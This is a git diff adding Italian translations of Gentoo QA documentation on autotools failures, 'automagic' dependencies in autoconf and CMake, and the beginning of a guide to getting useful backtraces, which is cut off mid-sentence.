+<title>Casi comuni di fallimento e cause</title>
+
+<section>
+<title>Possibili macro non definite</title>
+<body>
+
+<p>
+Il fallimento più comune con gli autotools è legato al messaggio di
+<c>autoconf</c> "possibly undefined macro: SOME-MACRO" ("possibile macro non
+definita: QUALCHE_MACRO"). Questo messaggio è utilizzato quando una macro viene
+chiamata dal file <path>configure.ac</path> o <path>configure.in</path> ma non è
+in realtà definita nel file <path>aclocal.m4</path> creato da <c>aclocal</c>.
+</p>
+
+<p>
+Questo succede spesso perchè la macro indicata non è disponibile quando
+<c>aclocal</c> viene eseguito; poiche, in modo predefinito, si caricano le macro
+trovate in <path>/usr/share/aclocal</path>, ciò significa che il pacchetto che
+fornisce questa macro non è installato (o la macro è chiamata con un altro
+nome). Siccome il secondo caso è tanto banale quanto complesso da risolvere, ci
+si concentrerà sul primo esempio, la definizione mancante di una macro.
+</p>
+
+<p>
+Affinchè le macro scritte dagli sviluppatori originali per il loro software
+siano rilevate nel sistema dall'uso degli autotools, vengono normalmente scritte
+in file m4 che sono poi installati nella già citata cartella
+<path>/usr/share/aclocal</path>. Dato che molti pacchetti usano queste macro per
+le dipendenze opzionali, potrebbero avere bisogno di un file m4 che non è
+installato nel sistema quando vengono eseguiti gli autotools; per risolvere il
+problema, è possibile copiare il file m4 in una sottocartella fornita del
+pacchetto stesso.
+</p>
+
+<p>
+Sfortunatamente, per poter utilizzare questa sottocartella, di norma chiamata
+<path>m4</path>, <c>aclocal</c> deve essere informato riguardo alla sua
+esistenza. Nei progetti che usano <c>automake</c> è possibile specificarlo
+all'interno del file <path>Makefile.am</path> principale impostando la variabile
+<b>ACLOCAL_AMFLAGS</b>:
+</p>
+
+<pre caption="esempio di chiamata ad aclocal per cercare i file di macro nella
+cartella m4">
+...
+ACLOCAL_AMFLAGS = -I m4
+...
+</pre>
+
+<p>
+Questo viene spesso trascurato dagli sviluppatori originali che semplicemente
+passano il parametro <c>-I m4</c> ad aclocal quando compilano i loro pacchetti.
+Mentre aggiungere una patch per correggere il problema è molto difficile, è
+invece semplice, se il pacchetto ha una cartella con i file m4 necessari,
+impostarla nella variabile <b>AT_M4DIR</b>. Lo stesso vale se il pacchetto non
+usa <c>automake</c> ma solo <c>autoconf</c>.
+</p>
+
+<pre caption="indicare ad eautoreconf di cercare i file di macro nella cartella
+'m4'">
+src_unpack() {
+    ...
+    AT_M4DIR="m4" eautoreconf
+}
+</pre>
+
+<p>
+Nei rari casi in cui il software usi un sistema di compilazione sostitutivo
+simile a Cygnus, il precedente esempio può fallire, in quanto prova a cercare la
+sottocartella m4 dal punto in cui risiede lo script configure; per risolvere
+questo tipo di problemi, impostare invece la variabile AT_M4DIR a
+<path>${S}/m4</path>.
+</p>
+
+<note>
+È di solito una buona idea fare sapere agli sviluppatori originali se non hanno
+impostato la variabile <b>ACLOCAL_AMFLAGS</b>, in modo che possano correggere la
+svista nella versione successiva; in un teorico mondo perfetto, il solo
+<c>eautoreconf</c> dovrebbe risolvere tutti i problemi.
+</note>
+
+<p>
+Meno spesso, ma ancora succede, non ci sono cartelle con file m4, o i file con
+le macro non definite non sono presenti; per risolvere la questione, si deve
+cercare il pacchetto che fornisce le macro m4, quindi aggiungerlo alla cartella,
+con una patch o mettendolo su un mirror e poi aggiungendolo a <b>SRC_URI</b> (in
+questo caso si dovrà aggiungere <b>${WORKDIR}</b> alla lista delle cartelle di
+ricerca o posizionarla nella cartella corretta). Questo tipo di problemi è uno
+dei più fastidiosi, perciò è di solito preferibile informare il prima possibile
+gli sviluppatori originali così che il rilascio successivo non necessiti di
+nessun accorgimento.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Discrepanza fra le versioni di automake quando viene eseguito
+eautoreconf</title>
+<body>
+
+<p>
+Talvolta <c>eautoreconf</c>, quando eseguito, fallisce riportando un errore di
+discrepanza fra le versioni. Ci si potrebbe aspettare di non vedere mai questo
+errore dal momento che la funzione <c>eautomake</c> si prenderà cura di eseguire
+nuovamente tutti gli autotools laddove la versione di <c>automake</c> usata per
+la compilazione del pacchetto differisca da quella usata dall'ebuild; inoltre,
+durante <c>eautoreconf</c>, gli strumenti sono usati forzando la sostituzione
+dei file, così che i riferimenti ad <c>automake</c> usati dallo sviluppatore
+originale dovrebbero sparire del tutto.
+</p>
+
+<p>
+L'unica (o almeno la più plausibile) causa è una scarsa conoscenza degli
+autotools da parte dello sviluppatore dell'ebuild. Quando si trova faccia a
+faccia col problema descritto in precedenza di <e>possibili macro non
+definite</e>, lo sviluppatore potrebbe sentirsi costretto a copiare
+semplicemente il precedente file <path>aclocal.m4</path> dall'archivio originale
+con un nome diverso, per preservare anche in questo caso le definizioni delle
+macro. Sfortunatamente, questo sovrascrive le macro <c>automake</c>, causando
+questo spesso incomprensibile fallimento.
+</p>
+
+<warn>
+Non andrebbe <b>mai</b> copiato un vecchio file <path>aclocal.m4</path>, dato
+che potrebbe risultare in un conflitto con i rilasci di versioni minori
+<c>automake</c> e potrebbe anche creare problemi quando <c>automake</c> è
+sottoposto a modifiche in Gentoo per risolvere un bug in dette macro.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Fallimenti di automake, richiesta file mancanti</title>
+<body>
+
+<p>
+Un altro errore comune, questa volta con <c>automake</c> è un fallimento causato
+da file mancanti, come <path>NEWS</path> o <path>README</path>. Questo avviene
+perchè tutti gli autotools assumono, se nessuno li informa del contrario, di
+stare lavorando in un pacchetto GNU, quindi di avere una serie di file perchè
+appartenenti alla guida sullo stile di codifica del progetto GNU stesso, e
+falliscono quando questi file non sono presenti. In questi casi <c>automake</c>
+dovrebbe essere chiamato col parametro <c>--foreign</c>, che chiede di non
+fallire se i file richiesti dal progetto GNU non sono presenti.
+</p>
+
+<p>
+D'altra parte, la funzione <c>eautomake</c> prova a semplificare la
+ricompilazione con gli autotools controllando se alcuni dei file del progetto
+GNU sono presenti, e quindi chiamando <c>automake</c> con le giuste opzioni se
+non fosse questo il caso. Il modo corretto per risolvere il problema (da
+notificare agli sviluppatori originali) è aggiungere alla variabile
+<b>AUTOMAKE_OPTIONS</b> l'opzione <e>foreign</e> così da informarlo di usare il
+supporto esterno.
+</p>
+
+<p>
+Quando i file sono richiesti da <path>configure.in</path> o
+<path>configure.ac</path> invece che da <path>Makefile.am</path>, e sono di
+solito i due file <path>config.guess</path> e <path>config.sub</path>, il
+problema è che il pacchetto non viene correttamente avviato. Per risolvere,
+<c>automake</c> dovrebbe essere chiamato con l'opzione <c>--add-missing
+--copy</c>. Questo è quello che la funzione <c>eautomake</c> fa già, così se si
+riscontra questo problema, dovrebbe essere considerata l'idea di usare le
+funzioni fornite dall'eclass <path>autotools</path> invece di eseguire i diversi
+strumenti manualmente o con eventuali script forniti col pacchetto stesso.
+</p>
+
+<warn>
+Uno sbaglio comune fatto quando <c>automake</c> fallisce in questi casi è il non
+mettere la condizione <c>|| die</c>, che evita l'interruzione del processo di
+compilazione. Questo è un errore, perchè i file saranno di solito necessari più
+tardi, è quindi meglio forzare sempre il loro rimpiazzo, anche perchè in molti
+casi nuove versioni dei due file sono necessari per la compilazione su molte
+architetture.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Dipendenze di versione mancanti</title>
+<body>
+
+<p>
+All'incirca dall'Estate 2006, le funzioni di supporto per <c>automake</c> e
+<c>autoconf</c> non dipendono forzatamente da tutte le versioni dei rispettivi
+pacchetti, ciò comporta il non potersi affidare al fatto che gli utenti abbiano
+tutte le versioni installate, e le dipendenze devono essere risolte in accordo
+con i pacchetti usati. Per semplificare la gestione delle dipendenze e la
+forzatura delle versioni necessarie, le variabili <b>WANT_AUTOCONF</b> e
+<b>WANT_AUTOMAKE</b> sono considerate come input all'eclass che quindi tratterà
+sia le dipendenze che l'applicativo.
+</p>
+
+<pre caption="dipendere da autoconf 2.1 e automake 1.4">
+WANT_AUTOCONF="2.1"
+WANT_AUTOMAKE="1.4"
+
+inherit autotools
+</pre>
+
+<p>
+In molti casi, invece di dipendere da una data versione di automake o autoconf,
+si vorrebbe dipendere dall'ultima versione disponibile, più facilmente già
+presente nel sistema degli utenti. Per questa ragione, l'eclass autotools
+accetterà uno speciale valore per le variabili menzionate, <e>latest</e>, che
+sarà poi espanso in <c>autoconf</c> 2.5 e <c>automake</c> 1.9 o 1.10 in
+relazione a cosa è smascherato per il dato sistema. Tutto ciò è suggerito quando
+un pacchetto non deve essere influenzato da qualche caratteristica o
+malfunzionamento di una vecchia versione di questi.
+</p>
+
+<pre caption="dipendere dalle ultime versioni degli autotools">
+WANT_AUTOCONF="latest"
+WANT_AUTOMAKE="latest"
+
+inherit autotools
+</pre>
+
+</body>
+</section>
+<section>
+<title>Errori nelle fasi di compilazione riguardanti la versione di
+autoconf</title>
+<body>
+
+<p>
+Talvolta potrebbero nascere errori, durante la compilazione di pacchetti, legati
+alla versione di <c>autoconf</c>, nonostante non siano ricompilati i file degli
+autotools o in effetti proprio <e>perché</e> non sono stati ricompilati i file
+degli autotools.
+</p>
+
+<pre caption="errori comuni nella fase di compilazione">
+${S}/missing --run
+automake-1.10 --gnu  src/Makefile
+aclocal.m4:14: error: this file was generated for autoconf 2.61.
+You have another version of autoconf.  If you want to use that,
+you should regenerate the build system entirely.
+aclocal.m4:14: the top level
+autom4te-2.62: /usr/bin/m4 failed with exit status: 63
+automake-1.10: autoconf failed with exit status: 63
+make[2]: *** [Makefile.in] Error 1
+</pre>
+
+<p>
+Questo messaggio deriva dal codice aggiunto dalla così detta "modalità di
+manutenzione" fornita da <c>automake</c>. Questa modalità è per lo più intesa
+per assicurare che gli sviluppatori e gli utenti che compilano manualmente
+ottengano la versione corretta di <path>configure</path> e
+<path>Makefile.in</path>, perfino se risultano modificati dopo l'esecuzione di
+<c>make dist</c> per la creazione dell'archivio.
+</p>
+
+<p>
+Mentre la modalità di manutenzione è abbastanza importante sia per gli
+sviluppatori che per gli utenti che compilano manualmente, essa diventa un
+fastidio nel cammino degli ebuild poiché esegue automaticamente gli autotools
+se vengono applicate patch ai file <path>configure.ac</path> o
+<path>Makefile.am</path>, perfino quando gli autotools non sono compresi nelle
+dipendenze legate all'atto della compilazione dell'ebuild stesso.
+</p>
+
+<p>
+Peggio ancora, se la versione di <c>automake</c> usata dal pacchetto non è
+installata (per esempio se il pacchetto usa la vecchia versione 1.8, mentre
+l'utente ha solo la versione 1.10) sarà saltata per intero la fase di
+ricompilazione, rendendo di fatto il risultato non deterministico dal punto di
+vista dell'ebuild.
+</p>
+
+<p>
+L'errore precedente è causato da un pacchetto che ha uno dei suoi file
+<path>Makefile.am</path> modificato, di solito tramite una patch, senza che
+siano stati ricompilati gli autotools. In questi casi, <c>automake</c> sarà
+invocato solo per ricompilare il <path>Makefile.in</path> coinvolto ma
+funzionerà solo se la versione di <c>autoconf</c> nel sistema è la stessa di
+quella usata per creare lo script originale <path>configure</path>. Questo non è
+il caso una volta che nuove versioni di <c>autoconf</c> sono state rilasciate.
+</p>
+
+<p>
+Ciò viene risolto ricompilando gli autotools in modo corretto come descritto in
+precedenza, attraverso la funzione <c>eautoreconf</c> (o altri metodi dipendenti
+da eclass eventualmente di livello superiore), invece che lasciando che sia la
+modalità di manutenzione a preoccuparsi di questo.
+</p>
+
+<impo>
+Le nuove pratiche per gli autotools suggeriscono di lasciare che venga forzata
+la modalità di manutenzione, che è ciò che accade se il file
+<path>configure.ac</path> non invoca la macro <c>AM-MAINTAINER_MODE</c>. Per
+quei progetti che ancora forniscono un'opzione, è possibile disabilitare la
+modalità di manutenzione (e quindi ritornare ad una ricompilazione
+deterministica dal punto di vista dell'ebuild) tramite l'opzione
+<c>--disable-maintainer-mode</c> di <c>econf</c>.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Fallimenti durante la configurazione di determinati locales (ad esempio
+et_EE)</title>
+<body>
+
+<p>
+Alcuni pacchetti, usando <c>autoconf</c> 2.13, falliscono nella configurazione
+di alcuni sistemi con localizzazioni come et_EE. Questo è causato da un bug
+nella specifica versione di autoconf (risolto nelle versioni successive, le
+quali non sono retro-compatibili) dove sed tenta di usare una sintassi
+dipendente dalla localizzazione prima che la variabile LANG sia impostata per
+usare il locale C (rendendola indipendente dalla localizzazione).
+</p>
+
+<p>
+Lo si può osservare per esempio nel <uri
+link="http://bugs.gentoo.org/103483">bug #103483</uri>.
+</p>
+
+<p>
+Per risolvere queste situazioni, è possibile applicare la <uri
+link="bug103483-configure-LANG.patch.txt">configure-LANG.patch</uri>, la quale
+forza l'impostazione di LANG prima che sia usata la sintassi dipendente dal
+locale.
+</p>
+
+<p>
+Se possibile, viene comunque suggerito di provare ad usare la nuova versione di
+<c>autoconf</c> (2.59 o successiva) dove il problema è già risolto.
+Sfortunatamente non è cosa fattibile per tutti i pacchetti, quindi
+l'applicazione della patch è una buona via per risolvere la questione quando
+<c>autoconf</c> 2.1 è effettivamente richiesto.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/qa/automagic.xml b/xml/htdocs/proj/it/qa/automagic.xml
new file mode 100644
index 00000000..0900a3a5
--- /dev/null
+++ b/xml/htdocs/proj/it/qa/automagic.xml
@@ -0,0 +1,287 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/qa/automagic.xml,v 1.2 2008/12/04 22:42:02 scen Exp $ -->
+
+<guide link="/proj/it/qa/automagic.xml" lang="it">
+<title>Dipendenze Automagic, cosa sono e come risolverle</title>
+
+<author title="Autore">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+<author title="Autore">
+  <mail link="serkan@gentoo.org">Serkan Kaba</mail>
+</author>
+<author title="Traduzione">
+  <mail link="skypjack@gmail.com">Michele Caini</mail>
+</author>
+
+<abstract>
+Questa guida descrive il problema delle dipendenze "automagic", spiegando le
+ragioni per cui sono problematiche e come poterle gestire nei casi più comuni.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.2</version>
+<date>2008-11-07</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Cosa sono le dipendenze automagic</title>
+<body>
+
+<p>
+Le così dette <e>dipendenze "automagic"</e> sono dipendenze insite in un
+software, riconosciute all'atto della compilazione o durante l'esecuzione, che
+cambiano il modo in cui tale software opera. Il nome <e>automagic</e> è un gioco
+di parole riferito all'uso degli GNU autotools, che stanno dietro a molti dei
+casi di <e>dipendenze automagic</e>.
+</p>
+
+<p>
+Il software normalmente possiede due tipi di dipendenze: obbligatorie e
+opzionali. Il primo tipo di dipendenze sono necessarie per l'utilizzo del
+software stesso (potrebbero rappresentare una libreria o un programma), e non
+possono mancare nel sistema quando si compila o esegue il programma (dipende se
+sono dipendenze di compilazione o di esecuzione). Le dipendenze opzionali sono
+tali da poter essere disabilitate, normalmente al momento della compilazione (ma
+talvolta anche durante l'esecuzione).
+</p>
+
+<p>
+Le dipendenze opzionali vengono solitamente abilitate o disabilitate dall'utente
+(o dal compilatore), un esempio classico è portato dalle opzioni
+<c>--enable-foo</c> o <c>--with-bar</c> durante la chiamata di
+<c>./configure</c> (questi parametri sono usati per abilitare dipendenze che
+sono disabilitate in modo predefinito, ma in alcuni casi potrebbero essere
+invece abilitate in modo predefinito e si avrà quindi <c>--disable-foo</c> e
+<c>--without-bar</c>).
+</p>
+
+<p>
+Ma con sistemi di compilazione che provano a capire cosa è presente o meno nel
+sistema in cui operano, talvolta le dipendenze diventano <e>automagic</e>.
+Questo significa che il sistema di compilazione non fornisce al compilatore un
+modo per decidere se una data opzione deve o meno essere abilitata, pertanto
+viene aggiunta, ma attivata solo quando viene trovata. Questo è un comportamento
+sbagliato.
+</p>
+
+</body>
+</section>
+<section>
+<title>Perchè le dipendenze automagic sono sbagliate</title>
+<body>
+
+<p>
+Nel caso di distribuzione basate su binari, come quelle che si appoggiano su RPM
+o DEB, le dipendenze automagic non influiscono minimamente: se l'utente ha
+installato qualcosa e lo ha creato da solo, è solitamente ciò che vuole
+abilitare, mentre se è un manutentore, dovrà solamente aggiungere una dipendenza
+fra i pacchetti richiesti per eseguire il binario che ha creato.
+</p>
+
+<p>
+Diverso il discorso per le distribuzioni basate su sorgenti, come Gentoo Linux
+(e varianti). Dal momento che la distribuzione basata su sorgenti non può
+distinguere utente e mantenitore del pacchetto, il sistema di compilazione
+potrebbe trovare più cose di quelle necessarie all'utente stesso, e proverà a
+collegare il software a tutto ciò che conosce a riguardo. Questa è la causa
+principale della rottura dei collegamenti dei binari alle librerie a seguito di
+una pulizia delle dipendenze inutilizzate (depclean).
+</p>
+
+<p>
+Per semplificare, quando una dipendenza automagic non è indicata come
+obbligatoria in un ebuild, ma piuttosto possiede un flag che semplicemente
+aggiunge o rimuove le dipendenze su un dato pacchetto, se il pacchetto è
+presente nel sistema viene creato il software con le dipendenze automagic, ma
+se in seguito il pacchetto viene rimosso, il software risulterà corrotto,
+richiedendo l'esecuzione di <c>revdep-rebuild</c> per correggere il
+collegamento. È anche possibile che un utente non voglia realmente abilitare
+alcune dipendenze poichè sa che di tanto in tanto danno dei problemi, o perchè
+sta creando un pacchetto binario per un'altra macchina dove la dipendenza
+potrebbe non essere presente (o potrebbe non funzionare in modo corretto).
+</p>
+
+<p>
+Quando un pacchetto ha una dipendenza automagic ci sono solo due cose da fare:
+le prima è dichiarare la dipendenza come obbligatoria, senza preoccuparsi di
+cosa l'utente inserisce nella propria variabile USE, ma questo potrebbe
+significare che alcuni supporti non desiderati dagli utenti siano sempre
+abilitati e che di conseguenza introducano le relative dipendenze; la seconda è
+correggere il sistema di compilazione in modo da renderlo capace di disabilitare
+al momento della compilazione la dipendenza anche se presente sul sistema.
+</p>
+
+<p>
+Per molto tempo gli sviluppatori originali non hanno pensato realmente di
+aggiungere il supporto per disabilitare le dipendenze automagic in quanto non le
+ritenevano un problema concreto: le avevano tutte installate, o almeno quelle di
+cui necessitavano, e normalmente compilavano con tutte queste. Fortunatamente,
+molti degli sviluppatori originali inoltre non pensavano nemmeno di aggiungere
+delle opzioni per disabilitarle se venivano fornite delle patch (talvolta anche
+senza patch, ma certamente l'invio di patch già pronte è sempre più ben
+accetto), ma non è sempre così, per esempio gli sviluppatori originali di Wine
+non vogliono aggiungere il supporto per abilitare o disabilitare le funzionalità
+nella chiamata a <c>./configure</c> perchè desiderano che il software usi sempre
+più opzioni possibili.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Risolvere le dipendenze automagic</title>
+<section>
+<title>Autotools</title>
+<body>
+
+<p>
+Molte delle dipendenze automagic, come il nome suggerisce, sono dovute all'uso
+(scorretto) degli GNU autotools (per essere esatti <c>autoconf</c>). Ci sono
+principalmente due casi in cui le dipendenze automagic sono chiamate in causa:
+il primo è il caso dei "lazy devs" (sviluppatori pigri), in cui le dipendenze
+non hanno affatto un parametro per <c>./configure</c>, bensì vengono solamente
+verificate con <b>AC_CHECK_LIB</b> o la macro <b>PKG_CHECK_MODULES</b> di
+<c>pkg-config</c>, che permette di eseguire codice specifico quando una libreria
+(o un pacchetto) è presente o meno; il secondo caso è detto "silly argument"
+(parametro sciocco, ridicolo), dove un parametro <c>--disable-foo</c> o
+<c>--without-bar</c> è effettivamente accettato da <c>./configure</c>, ma non
+viene verificato correttamente.
+</p>
+
+<p>
+Il primo caso è di norma semplice da correggere, si riduce al problema di
+aggiungere una chiamata <b>AC_ARG_WITH</b> (o <b>AC_ARG_ENABLE</b>) e quindi
+controllare la corrispondente variabile prima di effettuare il test. È utile
+sapere che il primo parametro passato alla precedente macro solitamente
+introduce una variabile che viene caricata da <c>autoconf</c> senza dover
+aggiungere parametri extra per far eseguire determinate azioni quando tale
+parametro è presente oppure no, la variabile viene chiama
+<path>$enable_foo</path> o <path>$with_bar</path>, in base a quale delle due
+macro viene utilizzata.
+</p>
+
+<note>
+Affinchè le patch siano accettate dagli sviluppatori originali, normalmente si
+consiglia di non cambiare il comportamento predefinito, quando
+<c>./configure</c> viene chiamato senza parametri; per questa ragione, saranno
+elencati due metodi per rendere non-automagic le dipendenze, uno per quelle
+abilitate in modo predefinito) e una per quelle disabilitate in modo
+predefinito.
+</note>
+
+<pre caption="Aggiungere un controllo con abilitazione in modo predefinito
+per una dipendenza opzionale">
+<i>AC_ARG_WITH([foo], AS_HELP_STRING([--without-foo], [Build without foo library (default: test)]))</i>
+
+<i>if test "x$with_foo" != "xno"; then</i>
+  PKG_CHECK_MODULES([FOO], [foo >= 0.1])
+<i>fi</i>
+</pre>
+
+<pre caption="Aggiungere un controllo con disabilitazione in modo predefinito
+per una dipendenza opzionale">
+<i>AC_ARG_WITH([foo], AS_HELP_STRING([--with-foo], [Build with foo library (default: disabled)]))</i>
+
+<i>if test "x$with_foo" == "xyes"; then</i>
+  PKG_CHECK_MODULES([FOO], [foo >= 0.1])
+<i>fi</i>
+</pre>
+
+<p>
+Quando il parametro è presente ma non viene rispettato, potrebbe risultare tanto
+semplice quanto complesso risolvere la dipendenza. Potrebbe essere solo un test
+scritto in modo errato, per cui bisogna apportare delle modifiche in modo simile
+ai test precedenti, o un completo pasticcio nelle chiamate alle macro
+<b>AC_ARG_WITH</b>. In questi casi, è meglio controllare attentamente il codice
+e contattare gli sviluppatori originali se sembrano esserci errori di questo
+livello.
+</p>
+
+<warn>
+Spesso (quasi sempre quando un pacchetto sfrutta automake) le dipendenze
+automagic vanno a braccetto con una chiamata <b>AM_CONDITIONAL</b>. È molto
+importante che queste chiamate siano messe <e>fuori</e> dai blocchi if/fi,
+altrimenti le chiamate a <c>./configure</c> potrebbero fallire con degli errori.
+</warn>
+
+<p>
+In realtà esiste un'altra via per aggirare le dipendenze automagic generate da
+<b>AC_CHECK_LIB</b> senza correggerle (e applicare patch), e consiste nel
+mettere mano ai valori della cache usata da <c>autoconf</c>. Questo metodo è
+effettivamente deprecato perchè non risolve la questione alla radice e potrebbe
+creare problemi se gli sviluppatori originali del pacchetto cambiano anche di
+poco i test usando un nome differente per una variabile. Inoltre, in questo modo
+le correzioni non possono essere inviate agli sviluppatori per l'integrazione in
+versioni successive.
+</p>
+
+</body>
+</section>
+<section><!-- CMake -->
+<title>CMake</title>
+
+<body>
+
+<p>
+Le dipendenze automagic possono presentarsi in sistemi di compilazione basati su
+CMake laddove venga chiamata <b>PGK_CHECK_MODULES</b> incondizionatamente senza
+il parametro <b>REQUIRED</b>. Sopperire a questo problema è abbastanza semplice,
+poiché consiste solamente nell'introduzione di un'opzione per il sistema di
+compilazione e per l'esecuzione di <b>PKG_CHECK_MODULES</b>, in base al loro
+valore.
+</p>
+
+<pre caption="Evitare la dipendenza automagic aggiungendo l'opzione ENABLE_FOO">
+<i>OPTION(ENABLE_FOO "Enable foo library" ON)</i>
+...
+<i>IF (ENABLE_FOO)</i>
+  PKG_CHECK_MODULES (FOO foo>=0.1)
+<i>ENDIF (ENABLE_FOO)</i>
+...
+<i>IF (ENABLE_FOO)</i>
+  IF (FOO_FOUND)
+  ...
+  ELSE (FOO_FOUND)
+  ...
+  ENDIF (FOO_FOUND)
+<i>ENDIF (ENABLE_FOO)</i>
+</pre>
+
+<note>
+Impostare il valore predefinito in OPTION, in accordo al comportamento originale.
+</note>
+
+</body>
+</section>
+<section>
+<title>Altri sistemi di compilazione</title>
+
+<body>
+
+<impo>
+Si prega di ampliare questa guida. Sono benvenute note riguardanti altri sistemi
+di compilazione non usuali come <c>scons</c> , se il sistema di compilazione
+presenta un modo per definire le dipendenze automagic, potrebbe avere anche un
+modo per correggerle.
+</impo>
+
+<p>
+Le dipendenze automagic possono essere create anche con sistemi di compilazione
+personalizzati che vengono utilizzati da alcuni software. Sfortunatamente,
+essendo personalizzati, questi sistemi di compilazione sono normalmente
+difficili da mettere a punto, e non c'è un modo per descrivere un approccio
+generale per la loro risoluzione.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/qa/backtraces.xml b/xml/htdocs/proj/it/qa/backtraces.xml
new file mode 100644
index 00000000..2cdc0537
--- /dev/null
+++ b/xml/htdocs/proj/it/qa/backtraces.xml
@@ -0,0 +1,604 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/qa/backtraces.xml,v 1.5 2010/08/26 15:19:26 scen Exp $ -->
+
+<guide link="/proj/it/qa/backtraces.xml" lang="it">
+<title>Come ottenere backtrace significativi in Gentoo</title>
+
+<author title="Autore">
+  <mail link="flameeyes@gentoo.org">Diego E. Pettenò</mail>
+</author>
+<author title="Informazioni su hardened toolchain">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Informazioni su hardened toolchain e architettura x86">
+  <mail link="kevquinn@gentoo.org">Kevin Quinn</mail>
+</author>
+<author title="Revisione">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Traduzione">
+  <mail link="skypjack@gmail.com">Michele Caini</mail>
+</author>
+
+
+<abstract>
+Questa guida è pensata per dare agli utenti una semplice spiegazione del perché
+una installazione di base di Gentoo non fornisca backtrace sensati e come fare
+in modo che ciò invece avvenga.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.10</version>
+<date>2010-06-16</date>
+
+<chapter>
+<title>Backtrace con Gentoo</title>
+<section>
+<title>Cosa sono i backtrace</title>
+<body>
+
+<p>
+Un <e>backtrace</e> (talvolta anche chiamato bt, trace, o stack trace) è un
+resoconto in un formato leggibile dall'uomo della catena di chiamate (o stack,
+pila, di chiamate) di un programma. Dà informazioni sul punto del programma in
+cui ci si trova e come questo è stato raggiunto attraverso tutte le funzioni a
+partire dal <path>main()</path> (almeno in teoria). I backtrace sono solitamente
+analizzati quando utilizzando un debugger come <c>gdb</c> (GNU debugger) ci si
+scontra con una situazione di errore come un segmentation fault o un abort, per
+scovare la fonte del problema.
+</p>
+
+<p>
+Un backtrace significativo non contiene solo gli oggetti condivisi dove la
+chiamata è stata generata, ma anche il nome della funzione, il nome del file e
+la linea dove il programma si è fermato. Sfortunatamente su un sistema
+ottimizzato per avere maggiori prestazioni e conservare lo spazio su disco, i
+backtrace sono inutili e mostrano solo il puntatore allo stack delle chiamate e
+una serie di punti interrogativi (??) invece del nome della funzione e la
+posizione.
+</p>
+
+<p>
+Questa guida mostrerà come è possibile ottenere degli utili, significativi
+backtrace in Gentoo, usando alcune caratteristiche di Portage.
+</p>
+
+</body>
+</section>
+<section>
+<title>Flag per il compilatore</title>
+<body>
+
+<p>
+In modo predefinito <c>gcc</c> non compila informazioni di debug all'interno
+degli oggetti (librerie e programmi) che crea, in quanto questo porterebbe ad
+oggetti di dimensioni maggiori. Inoltre, molte ottimizzazioni interferiscono sul
+modo in cui le informazioni di debug vengono salvate. Per queste ragioni, la
+prima cosa a cui fare attenzione è il fatto che la variabile CFLAGS venga
+impostata in modo da da generare informazioni di debug utili.
+</p>
+
+<p>
+L'opzione fondamentale da aggiungere in questo caso è <c>-g</c>. Questa informa
+il compilatore sul fatto che esso deve aggiungere informazioni ulteriori negli
+oggetti, come nome del file e numeri di riga. Ciò è di solito sufficiente per
+avere un backtrace basilare, ma l'opzione <c>-ggdb</c> aggiunge ulteriori
+informazioni. C'è al momento un'altra opzione (<c>-g3</c>), ma il suo uso non è
+raccomandato. Sembra che questa corrompa le interfacce binarie e possa
+comportare maggiori fallimenti (crash del programma). Per esempio,
+<path>glibc</path> dà problemi quando viene compilato con questa opzione. Se si
+desidera ottenere più informazioni possibile, andrebbe utilizzata l'opzione
+<c>-ggdb</c>.
+</p>
+
+<pre caption="Esempio di CFLAGS per l'aggiunta di informazioni di debug">
+CFLAGS="-march=k8 -O2 -ggdb"
+CXXFLAGS="${CFLAGS}"
+</pre>
+
+<p>
+Elevati livelli di ottimizzazione, come <c>-O3</c> possono rendere il backtrace
+poco fedele, o incorretto. Generalmente parlando, <c>-O2</c> e <c>-Os</c>
+possono essere usate in sicurezza per ottenere un backtrace approsimativo,
+relativamente alla funzione chiamata e all'aria del file sorgente dov'è
+avvenuto il crash. Per backtrace più precisi, si dovrebbe invece usare
+<c>-O1</c>.
+</p>
+
+<note>
+L'uso di <c>-O0</c> viene suggerito spesso quando si sta provando a produrre un
+backtrace completo. Sfortunatamente questo non sempre gioca a favore del
+software stesso, in quando disabilitando tutte le ottimizzazioni cambiano le
+implementazioni delle funzioni nella libreria GNU C (sys-libs/glibc), al punto
+da considerarle quasi due librerie differenti, una per le compilazioni
+ottimizzate e una per quelle non ottimizzate. Inoltre, alcuni software
+falliranno interamente nella compilazione quando viene usato <c>-O0</c> a causa
+dei cambiamenti negli include delle intestazioni, e alla mancanza di
+caratteristiche come la propagazione delle costanti nell'eliminazione del
+codice superfluo.
+</note>
+
+<p>
+Nota per gli utenti di architetture x86: tali utenti hanno frequentemente
+l'opzione <c>-fomit-frame-pointer</c> nella loro variabile CFLAGS.
+L'architettura x86 ha un insieme limitato di registri generali, e questa opzione
+può rendere disponibile un registro ulteriore, che migliora le prestazioni. Ma
+questo lo si paga: rende impossibile per <c>gdb</c> il "camminare sullo stack"
+&#8212; in altre parole, gli impedisce di generare un backtrace in modo
+affidabile. Rimuovendo questa opzione dalla variabile CFLAGS si ottiene qualcosa
+di più facile comprensione per <c>gdb</c>. Gli utenti della maggior parte delle
+altre piattaforme non hanno di che preoccuparsi; o in genere non viene impostata
+comunque l'opzione <c>-fomit-frame-pointer</c>, o il codice generato da
